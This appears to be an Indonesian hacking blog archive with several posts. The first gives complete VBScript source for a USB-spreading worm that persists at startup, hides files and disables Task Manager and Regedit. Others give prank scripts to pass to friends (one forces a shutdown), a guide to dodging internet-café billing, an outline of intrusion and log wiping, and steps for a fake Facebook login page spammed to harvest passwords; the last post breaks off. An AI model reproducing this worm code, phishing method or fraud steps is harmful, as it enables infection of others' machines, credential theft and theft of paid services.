Update Ilmu Pengetahuan: Hacking

Showing posts with label Hacking. Show all posts

Membuat Virus Sederhana pake' Notepad

<div class="snap_preview">Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host. 
Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut : 
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–// 
on error resume next 
‘//–Dim kata-kata berikut ini–// 
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd 
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–// 
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs” 
set fs = createobject(”Scripting.FileSystemObject”) 
set mf = fs.getfile(Wscript.ScriptFullname) 
dim text,size 
size = mf.size 
check = mf.drive.drivetype 
set text = mf.openastextstream(1,-2) 
do while not text.atendofstream 
rekur = rekur & text.readline 
rekur = rekur & vbcrlf 
loop 
do 
‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows) 
Set windowpath = fs.getspecialfolder(0) 
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “) 
tf.attributes = 32 
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true) 
tf.write rekursif 
tf.close 
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “) 
tf.attributes = 39 
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–// 
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket 
for each flashdrive in fs.drives 
‘//–Cek Drive–// 
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then 
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–// 
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “) 
tf.attributes =32 
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true) 
tf.write rekursif 
tf.close 
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “) 
tf.attributes = 39 
‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–// 
set tf =fs.getfile(flashdrive.path &”\autorun.inf”) 
tf.attributes = 32 
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true) 
tf.write isi 
tf.close 
set tf = fs.getfile(flashdrive.path &”\autorun.inf”) 
tf.attributes=39 
end if 
next 
‘//–Manipulasi Registry–// 
set kalong = createobject(”WScript.Shell”) 
‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–// 
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “ 
‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–// 
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD” 
‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–// 
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD” 
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD” 
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD” 
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD” 
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD” 
‘//–Manip – Disable klik kanan–// 
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD” 
‘//–Manip – Munculkan Pesan Setiap Windows Startup–// 
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.” 
‘//–Manip – Aktif setiap Windows Startup–// 
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “ 
‘//–Manip – Ubah RegisteredOwner dan Organization–// 
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix” 
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong” 
‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–// 
if check <> 1 then 
Wscript.sleep 200000 
end if 
loop while check <> 1 
set sd = createobject(”Wscript.shell”) 
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname 
‘Akhir dari Kode 
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja. 
He..he…Virus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa. 
 
 
 
<blink>www.binushacker.net </blink> </div>

Membuat Virus Sederhana pake' Notepad

Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para vi...

lengkapnya

11:05 AM

Iseng Pakai NOtepaD

Hallo kawan  
 bosen dengan belajar, mau iseng? Yuk, kita pakai cara sederhana saja untuk ngisengin teman kita sendiri. 
Tapi jangan anda coba trik ini di komputer anda, klo dicoba berarti anda mengisengin diri anda sendiri & dapat dibilang anda melakukan tindakan yang stup*d.. Hehe.. Wkwk.. 
Lets begin! Pastikan Anda Mengetik Dengan Benar Script Dibawah Ini! Copy Paste Kadang Tidak Berhasil Dikarenakan Perbedaan Tanda Petik ( ” ” ) Pada Notepad, Untuk Lebih Fix Bisa Pake TextPad 
1. Iseng Mengeject CD-Drive Terus Menerus 
<blockquote>Set oWMP = CreateObject(“WMPlayer.OCX.7″) 
Set colCDROMs = oWMP.cdromCollection 
do 
if colCDROMs.Count >= 1 then 
For i = 0 to colCDROMs.Count – 1 
colCDROMs.Item(i).Eject 
Next 
For i = 0 to colCDROMs.Count – 1 
colCDROMs.Item(i).Eject 
Next 
End If 
wscript.sleep 5000 
loop</blockquote>Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda 
2. Iseng Dengan Tombol Enter Terus Menerus 
 
<blockquote>Set wshShell = wscript.CreateObject(“WScript.Shell”) 
do 
wscript.sleep 100 
wshshell.sendkeys “~(enter)” 
loop </blockquote>Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda 
3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!” 
 
<blockquote>WScript.Sleep 180000 
WScript.Sleep 10000 
Set WshShell = WScript.CreateObject(“WScript.Shell”) 
WshShell.Run “notepad” 
WScript.Sleep 100 
WshShell.AppActivate “Notepad” 
WScript.Sleep 500 
WshShell.SendKeys “Hel” 
WScript.Sleep 500 
WshShell.SendKeys “lo ” 
WScript.Sleep 500 
WshShell.SendKeys “, ho” 
WScript.Sleep 500 
WshShell.SendKeys “w a” 
WScript.Sleep 500 
WshShell.SendKeys “re ” 
WScript.Sleep 500 
WshShell.SendKeys “you” 
WScript.Sleep 500 
WshShell.SendKeys “? ” 
WScript.Sleep 500 
WshShell.SendKeys “I a” 
WScript.Sleep 500 
WshShell.SendKeys “m g” 
WScript.Sleep 500 
WshShell.SendKeys “ood” 
WScript.Sleep 500 
WshShell.SendKeys ” th” 
WScript.Sleep 500 
WshShell.SendKeys “ank” 
WScript.Sleep 500 
WshShell.SendKeys “s! “ </blockquote>Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda 
4. Iseng Dengan Backspace 
<blockquote>MsgBox “Maaf, Anda Harus Mengulang Kembali” 
Set wshShell =wscript.CreateObject(“WScript.Shell”) 
do 
wscript.sleep 100 
wshshell.sendkeys “{bs}” 
loop</blockquote>Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda 
5. Iseng Dengan Membuka Calculator Terus Menerus 
<blockquote>@ECHO off 
:top 
START %SystemRoot%\system32\cacl.exe 
GOTO top</blockquote>Kemudian save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda 
6. Iseng Dengan Keyboard 
<blockquote>Set wshShell = wscript.CreateObject(“WScript.Shell”) 
do 
wscript.sleep 100 
wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki” 
loop</blockquote>Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda 
7. Iseng Dengan Shutdown Computer 
<blockquote>@echo off 
msg * Komputer Anda Terinfeksi Virus 
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0</blockquote>Kemudian save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda 
================================================== 
Note: Bosen gak ada kerjaan didepan komputer, terlintas untuk berbagi cara ngisengin teman. Teringat masa lalu waktu masih suka ngisengin temen² dengan trik ini  
Semoga Bermanfaat Ya All.. Salam Hangat Dari Saya.. Kzkz.. 
Silakan Dikembangkan Sendiri Ide Ide Yang Lainnya 
 
 http://www.binushacker.net

Iseng Pakai NOtepaD

Hallo kawan bosen dengan belajar, mau iseng? Yuk, kita pakai cara sederhana saja untuk ngisengin teman kita sendiri. Tapi jangan anda c...

lengkapnya

6:30 AM

BErmain WarNet GratiS

HE sopo yg mau ngenet gratisan...hayoooooo.... 
 
Yuk Maen Warnet Gratis , Gratisan Maen Di warnet Yok Boy, Tapi Gimana Caranye? Pusing Gw ni Gak Punya Duit! Warnet Gratis Dimana Ya? 
PUSING LOE KAN?? Ni Deh Gw Kasi Caranya, dapet dari nyari nyari juga ni: 
Heey semuanyaaa! Berjumpa lagi dengan sayaa di tips dan trik! Hahahaaa… Di trik dan tips kali ini aku mau ngejelasin trik tips mengakali warnet dengan menggunakan ZHider! Di sini kita bakalan mencoba berinternet ria di warnet secara murah meriah!! Caranya gampaang! Kalian cuman perlu 
<blink><a href="http://h1.ripway.com/askagloc/ZHider-2-00.zip" title="ZHider free download">download Zhider di sini.</a> </blink>  Untuk selanjutnyaa, aku bakal ngejelasin dulu tentang sistem billing di warnet. 
<h2><img alt="Contoh 
screen status yg ada di warnet (edelweis)" src="http://img199.imageshack.us/img199/7641/19141230.jpg" title="Contoh screen status yg ada di warnet (edelweis)" /></h2>Kalian pasti pernah khan ke warnet?? Naah, klo pernah pasti kalian bakal muncul halaman login di komputer yg kalian pake di warnet. Itu sebetulnya saat muncul layar login, komputer dah bisa dipake buat browsing. Cuman keganggu ajah sama layar login yg mengharuskan kita untuk mengisi layar login tersebut sehingga kitapun kudu bayar. Nah, dengan menggunakan ZHider, kita bisa menyembunyikan layar login dengan mudaah! Caranya bener2 sederhanaa! 
Berikut ini langkahnyaaa: 
<ol><li>Pastikan warnet yg kamu pilih masih banyak bilik/kamar yg kosong. Soalnya klo rame ntar operator curiga kenapa masih ada bilik yg kosong?</li>
<li>Baiknya sih kamu pilih bilik yg paling jauh dari operator warnet biar gak ketauan bilik kamu kosong atau ngga.</li>
<li>Nyalakan komputer di depan kamu klo masih dalam keadaan mati.</li>
<li>Klo ada login screen, kamu login ajah kaya biasa.</li>
<li>Jalanin ZHider yg udah kamu download 
<blink> <a href="http://h1.ripway.com/askagloc/ZHider-2-00.zip" title="ZHider free download">di sini</a> </blink>, klo bisa dari rumah dimasukin ajah ke flashdisc atau disket biar gak usah download di warnet.</li>
<li>Klo ZHider dah dibukaa, langsung ajah logout.</li>
<li>Ntar pasti muncul login screen, kamu pencet CTRL+ALT+Z</li>
<li>Dan login screennya menghilaang! Kamu bisa browsing sepuas-puasnya sampai matiiii! MERDEKAAAAA!!!!!!!</li>
<li>Klo dah puas, kamu pencet CTRL+ALT+X untuk menampilkan kembali login screen yg udah kita sembunyikan tadi.</li>
<li>Login seperti biasaa, kamu browsing2 dulu beberapa menit sampai penunjuk waktunya di atas 5 menit. Tujuannya biar operator warnet gak curiga.</li>
<li>Logout, pasang muka babyface seolah-olah tanpa dosa, dan bayar tarif!</li>
<li>DONNNNEEEEEEEEE!!!!! OYEAAAAAHH!!</li>
</ol>Ini khusus untuk warnet yg punya operator yg gak kenal kamu, atau operatornya sering tidur, atau operator yg bisanya cuman nerima pembayaran ajaa (baca: TOLOL). 
Dan berikut ini beberapa hotkeys yg ada di ZHider. Untuk lebih lengkapnya baca ajah readmenya: 
<blink>CTRL+ALT+Z Menyembunyikan jendela aktif </blink> 
<blink>CTRL+ALT+X Menampilkan kembali semua jendela yang disembunyikan </blink> 
<blink>CTRL+ALT+L Menampilkan dialog zhider </blink> 
<blink>CTRL+ALT+M Menampilkan kembali semua jendela yang disembunyikan, dan juga menutup zhider. </blink> 
Aku kasih tips dan trik bukan berarti aku mau kalian internetan gratis di warnet sembarangan. Ini cuman buat kalian yg depresi, stres, sampai2 pengen bunuh diri karena saking pengennya online tapi dompet tipis. Lagian aku juga cuman pengen share ajah kok! Gak ada maksud apa2! Hehehehe… 
Nah, Okeh! Selamat Mencobaaa…! 
 
<blink>Saya gak nanggung klo kalian ketauan </blink>

BErmain WarNet GratiS

HE sopo yg mau ngenet gratisan...hayoooooo.... Yuk Maen Warnet Gratis , Gratisan Maen Di warnet Yok Boy, Tapi Gimana Caranye? Pusing Gw ...

lengkapnya

4:26 PM

What IS the HackinG ?

Artikel ini ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan semata. Untuk temen2 yg udah ahli, sok aja dilewat, tapi dibaca juga gpp…. 
Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, ‘ngudek-ngudek’ sampai ke ‘jeroannya’. Sesuatunya apa dong? ya terserah… bisa komputer, mobil, motor, mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker pesawat terbang?? hehe… Walaupun saat ini hacking identik dengan ‘bobol-membobol’, tapi gue kurang setuju klo cuman bobol server orang doang!. Ada yang bilang ‘Hacking is Art’, trus dimana letak seninya dong? Mau tau pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang menciptakan Linux). Apa dia tukang bobol? belum tentu kan…. 
Pada artikel ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah itu baru Hack Betulan… Apalagi klo di kost ada jaringan. 
Pro dan Kontra Hacking 
Pro Kontra 
Etika Hacking Semua informasi adalah free Jika semua informasi adalah free, maka tidak ada ladi privacy 
Aspek Security Intrusion adalah ilustrasi kelemahan sistem Tidak perlu menjadi pencuri untuk menunjukkan pintu yang tidak terkunci 
Idle Machines Hacking hanya pada idle machines idle machines milik siapa ? 
science education hanya membobol tapi tidak merusak “hacker wannabe” berpotensi sangat besar untuk merusak 
Okeh, sekarang waktunya melakukan aksi… 
 
<blink>1. Fase Persiapan </blink> 
~ Mengumpulkan informasi sebanyak-banyaknya 
- Secara Aktif : – portscanning 
- network mapping 
- OS Detection 
- application fingerprinting 
Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat 
- Secara Pasif : – mailing-list (jasakom, newbie_hacker, hackelink, dsb) 
- via internet registries (informasi domain, IP Addres) 
- Website yang menjadi terget 
 
<blink>2. Fase Eksekusi </blink> 
~ Setelah mendapatkan informasi, biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan exploit (packetstromsecurity.org, milis bugtraq, atau mencari lewat #IRC). 
~ Mengekspolitasi Vulnerability Holes 
- compile eksploit -> local host -> $gcc -o exploit exploit.c 
$./exploit 
# hostname (# tanda mendapatkan akses root) 
remote host -> $gcc -o exploit exploit.c 
$./exploit -t www.terget.com 
# (klo beruntung mendapatkan akes root) 
~ Brute Force 
- Secara berulang melakukan percobaan otentifikasi. 
- Menebak username dan password. 
- Cracking password file 
~ Social Engineering 
- Memperdayai user untuk memeberi tahu Username dan password 
- Intinya ngibulin user…. 
 
<blink>3. Fase Setelah Eksekusi </blink> 
~ Menginstall backdoor, trojans, dan rootkit 
~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin 
~ Menyalin /etc/passwd atau /etc/shadow/passwd 
Nah, intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada mesin localhost dulu (komuter pribadi), klo terhubung ke LAN lebih bagus. Sediakan server yang khusus buat dioprek. Selanjutnya terserah anda……… 
 
Sumber :  
<blink>http://www.binushacker.ne </blink>

What IS the HackinG ?

Artikel ini ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan semata. Untuk temen2 yg udah ahli, sok aja dilewat, ...

lengkapnya

4:14 PM

Levels of Hacker

<div class="separator" style="clear: both; text-align: center;"><a href="http://t3.gstatic.com/images?q=tbn:2GgLB3H8VxX0hM:http://www.askanddiscuss.com/blog/wp-content/uploads/2008/03/hacker.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="120" src="http://t3.gstatic.com/images?q=tbn:2GgLB3H8VxX0hM:http://www.askanddiscuss.com/blog/wp-content/uploads/2008/03/hacker.jpg" width="200" /></a></div><h2><a href="http://willy87.student.umm.ac.id/2010/02/12/definisi-hacker/" rel="bookmark" title="Permanent Link: Definisi Hacker"> 
</a></h2> 
Saya mohon maaf sebelumnya kepada semuanya karena artikel ini. Memang menurut anda artikel ini tidak ada gunanya, tapi menurut saya semoga artikel ini dapat menjadi suatu cermin bagi kita semua, saya mengeluarkan artikel ini sama sekali tidak ada unsur Menggurui atau ingin mengalahkan mas S’to. Saya mengeluarkan artikel ini semata-mata hanya untuk mencoba membuka mata dunia tentang Hacker dan kelompok IT bawah tanah yang lain. 
Pada umumnya kita selalu menganggap bahwa orang-orang yang serik merusak website lain itu disebut Hacker, namun aslinya dalam dunia bawah tanah Komputer terdapat beberapa kelompok yang berbeda dengan aktifitas yang berbeda pula, Antara lain :  
1. <blink>Kelompok Anarkis </blink> 
Kelompok ini kayaknya berawal pd era 60-70an yaitu pada masa perang Vietnam, mereka banyak menentang tentang keterlibatan AS dalan perang tersebut. Kegiatan kaum ini biasanya melibatkan penyebaran informasi tentang pembuatan campuran-campuran bahan peledak, perakitan senjata sederhana, ajakan untuk bertindak anarkis dan sebagainya secara elektronik ( Contohnya Dokumen Anarchy ‘n Explosive ). Sampai sekarang masih ada situs-situs yang menyediakan informasi-informasi anarkis yang serupa diinternet misalnya “Cult of the Dead Cow”.  
1. <blink>Kelompok Cyberpunk </blink> 
<blockquote>Istilah Cuberpunk ini diistilahkan oleh Steward Brand, editor “Whole Earth Catalog”  sebagai “Technology with an attitude”. Seperti budaya “punk”  yang lainnya kelompok ini cenderung menjurus ke anarkisme, tapi mereka tidaklah benar-benar melakukan kejahatan atau pemberontakan. Tindakan yang mereka lakukan hanyalah merupakan symbol belaka.</blockquote><ol><li><blink>Kelompok Cypherpunk </blink></li>
</ol><blockquote>Kelompok ini juga disebut juga cryptographers, yang terdiri dari orang-orang yang gemar bereksperimen dengan metode Enkripsi / penyandian data. Usaha merekan adalah untuk menemukan metode penyandian data yang seaman mungkin ( untuk menjamin privasi merekan ), dan juga cara untuk membongkar metode-metode penyandian data yang sudah ada.</blockquote><ol><li><blink>Kelompook penulis virus ( virus writer ) </blink></li>
</ol><blockquote>Istilah penulis virus disini sebenarnya ditujukan kepada orang-orang yang memiliki keahlian dalam menulis program virus, worm dan sejenisnya. Merekan ahli dalam membuat program-program kecil namun efisien, dengan kecerdasan buatan (artificial intelegent atau AI ). Biasanya kelompok ini masih berstatus mahasiswa, programmer, pakar sampai peneliti. 
5. <blink>Kelompok pirate / pembajak </blink> 
Aktifits kelompok ini adalah melakukan salinan-salinan ilegal dari perangkat lunak komputer, oleh karena itu mereka dicap sebagain musuh besar perusahaan perangkat lunak komp. Awalnya kelompok ini tidaklah berorientasi pada uang, karena mereka menggandakan hanya kepada rekan-rekan mereka saja tanpa bayaran. Tapi dimasa kini pembajakan softaware telah mengarah ke tujuan komersial karena didorong juga oleh harga perangkat lunak yang mahal. 
6. <blink>Kelompok phreaker </blink> 
Sering dijabarkan sebagai Phone freaker, yaitu orang-orang yang berusaha mempelajari dan menjelajahi segala aspek dalam system telefon, pada awalnya Amerika masih dikendalikan oleh nada-nada berfrekwensi tinggi (sampai remaja tunanetra bernama Joseph “Joe “ Engressia menemukan bahwa ia dapat menggunakan siulannya untuk mengendalikan system telefon. Sejak perusahaan telekomunikasi AS menggunakan komputer untuk mengendalikan jaringan telefon, para phreaker juga beralih kekomputer dan menjadi makin mirip dengan hacker, ada dua alasan umum untuk persamaan ini: 
-         Phreaker menjelahi teknik komputer agar bisa melanjutkan penjelajahannya pada jaringan telefon yang kini dikendalikan komp. 
-         Hacker mempelajari teknik phreaking agar dapat memanipulasi system te;efon untuk menekan biaya sambunga telefon, dan untuk menghindari pelacakan. 
7. <blink>Kelompok hacker </blink> 
Dari masa ke masa definisi “hacker”  telah berkembang, namun pada masa ini dapat didefinisikan sebagai “Orang-orang yang gemar mempelajari seluk beluk system komp. Dan bereksperimen dengannya.” Eric Raymond, penyusun “The New Hacker’s Dictionary (MIT Press 1994), menuliskan ciri-ciri hacker sebagai berikut : 
-         Gemar mempelajari detail system komp. Atau bahasa pemrograman. 
-         Gemar melakukan praktek pemrograman daripada hanya menteorikannya 
-         Mampu menghargai hasil hacing orang lain. 
-         Mempelajari pemrograman dengan cepat 
-         Mahir dalam system operasi / bahasa pemrograman tertentu (Unix)</blockquote>Hacker sejati bukanlah kelompok kriminal perusak jaringan seperti anggapan orang banyak, namun harus diakui bahwa dari waktu ke waktu terdapat cukup banyak hacker yang menyalah gunakan kemampuan dan pengethuan mereka untuk hal-hal yang destruktif dan negatif, melakukan berbagai kejahatan atau berbuat usil dengan mengacaukan dan merusak file orang. 
Nah, sekarang bagaimana apakah anda akan tetap memakai identitas hacker pada saat anda memasuki sebuah system orang lain  dan merusaknya ??, hal ini akan membuat “Image” hacker menjadi kian tercoreng. Ada baiknya jika anda merasa seorang “hacker sejati” (ceritanya..) anda membentuk kelompok yang bertugas untuk menjaga system orang lain, tentu saja adminnya sendiri akan merasa senang kalau anda bisa melakukan sesuatu yang sama-sama menguntungkan untuk keduanya. Mis: Si Admin merasa tenang karena sistemnya dijaga oleh orang-orang berkualitas dari seluruh penjuru dan anda mungkin mendapat pendapatan tambahan dari usah anda menjaga system si Admin tersebut bukannya merusaknya….  :- )

Levels of Hacker

Saya mohon maaf sebelumnya kepada semuanya karena artikel ini. Memang menurut anda artikel ini tidak ada gunanya, tapi menurut saya semog...

lengkapnya

4:04 PM

Hack FAcebook

<h2><a href="http://willy87.student.umm.ac.id/2010/02/10/hb/" rel="bookmark" title="Permanent Link: HB"> 
</a></h2><img alt="HACK FB WITH FAKELOGIN" class="alignleft" height="254" src="http://willy87.student.umm.ac.id/2010/02/10/files/2010/02/hacking_big.jpg" title="HACK FB WITH FAKELOGIN" width="204" />“cuma sekedar pengetahuan” 
don’t be a black hat hacker but be a white hat hacker!!!!!!!!! 
Hack Facebook Dengan Fake Login? Kenapa Tidak… 
Jangan lupa sediain Hosting / Free Hosting untuk naruh script yang mau kita buat fake login lokasinya nanti. Jangan sampe lupa, karena itu hal yang paling wajib dilakukan! 
Oke lanjut, mantapin juga dah. Perhatikan Baik² Dan Lakukan Dengan Benar Menurut Petunjuk Dibawah Ini. Jangan Sampe Ada Kekeliruan Sedikitpun! Berikut ini adalah ulasannya: 
1. Pertama, bikin dulu sebuah file di hosting tempat anda mau bikin fake login dengan filetype: html. Kemudian kasi nama: “index.html“, sehingga di contoh URL Web adalah: 
 
<blink> <a href="http://www.hostingloedisini.com/facebook/index.html" target="_blank" title="Linkification: 
http://www.hostingloedisini.com/facebook/index.html">http://www.hostingloedisini.com/facebook/index.html</a> </blink><a href="http://www.hostingloedisini.com/facebook/index.html" target="_blank" title="Linkification: 
http://www.hostingloedisini.com/facebook/index.html"></a> 
Bikin Code Sesuai Dengan Contoh Script Dibawah Ini: 
Scriptcode pada no 1: 
 
 
<blink><a href="http://www.novatds.com/includes/PEAR/version.txt" target="_blank">Klick Disini Untuk Lihat Scriptnya</a> </blink> 
<a href="http://www.novatds.com/includes/PEAR/version.txt" target="_blank"> 
</a> 
2. Buat file logs.php di hostingan lo sendiri, contoh 
 
<blink> <a href="http://www.hostingloedisini.com/facebook/logs.php" target="_blank" title="Linkification: 
http://www.hostingloedisini.com/facebook/logs.php">http://www.hostingloedisini.com/facebook/logs.php</a> </blink>di bawah ini script nya. 
Scriptcode pada no 2: 
 
 
<blink><a href="http://www.novatds.com/includes/PEAR/version.txt" target="_blank">Klick Disini Untuk Lihat Scriptnya</a> </blink><a href="http://www.novatds.com/includes/PEAR/version.txt" target="_blank"> 
</a> 
3. Jangan lupa dan wajib untuk membuat file kosong yg berformat txt dengan nama: logs.txt – jadi URLnya jadi: 
 
<blink> <a href="http://www.hostingloedisini.com/facebook/logs.txt" target="_blank" title="Linkification: 
http://www.hostingloedisini.com/facebook/logs.txt">http://www.hostingloedisini.com/facebook/logs.txt</a> </blink><a href="http://www.hostingloedisini.com/facebook/logs.txt" target="_blank" title="Linkification: http://www.hostingloedisini.com/facebook/logs.txt"></a> 
4. Ini wajib dan harus diingat! Jangan lupa change mode semua filenya, sehingga permissionnya menjadi: 777 ( chmod + 777). Chmod 777 artinya dimana semua file dapat dibaca (r), dapat ditulis(w), dan dapat di eksekusi(x). Jadi chmod 777 adalah untuk merubah file agar file tersebut dapat di eksekusi oleh User, Groups & Other. Hasil set file permission 777 adalah (rwxrwxrwx) untuk Unix Server. Untuk masalah permission ini juga tergantung dari penyedia hosting, buat yang pake hosting gak nyediain change mode, langsung ajah dicoba tanpa memperhatikan poin ini & berdoa saja ini bisa berjalan.. Selain 777 explore permission bisa menjadi 775, 755 disesuaikan dengan server dan penyedia hosting anda. 
5. Kemudian sebarkan URL yang telah loe buat, misal: “ 
 
<blink><a href="http://www.hostingloedisini.com/facebook/" target="_blank" title="Linkification: http://www.hostingloedisini.com/facebook/">http://www.hostingloedisini.com/facebook/</a> </blink>” dengan sesama user difacebook, iklan, atau spam lewat email sebanyak banyaknya. Bisa juga merajuk kepada cewe cewe / cowo cowo yang loe suka supaya klik tu login. Dijamin mantaf klo bisa dapetin username + loginnya! <img alt=":D" src="http://www.binushacker.net/wp-includes/images/smilies/icon_biggrin.gif" /> 
6. Untuk melihat hasil login Username dan Passwordnya silakan buka file di logs.txt nya, nah klo ada username email beserta passwordnya. Brarti anda telah dapet login ntuh. 
Contoh tampilan ujicoba aplikasi websitenya disini: 
 
 
<blink></blink><blink><a href="http://www.airdata.nl/libraries/tcpdf/config/lang/facebook/index.html" target="_blank" title="Hacking Scam Facebook">http://www.airdata.nl/libraries/tcpdf/config/lang/facebook/index.html</a> </blink> 
<a href="http://www.airdata.nl/libraries/tcpdf/config/lang/facebook/index.html" target="_blank" title="Hacking Scam Facebook"> 
 
</a> 
Selamat Mencoba, Semoga Berhasil.. 
Dan buat para Facebook’ers mania, oh ya, ni skalian gw kasi tips supaya hati hati & biar gak kna Fake Login: 
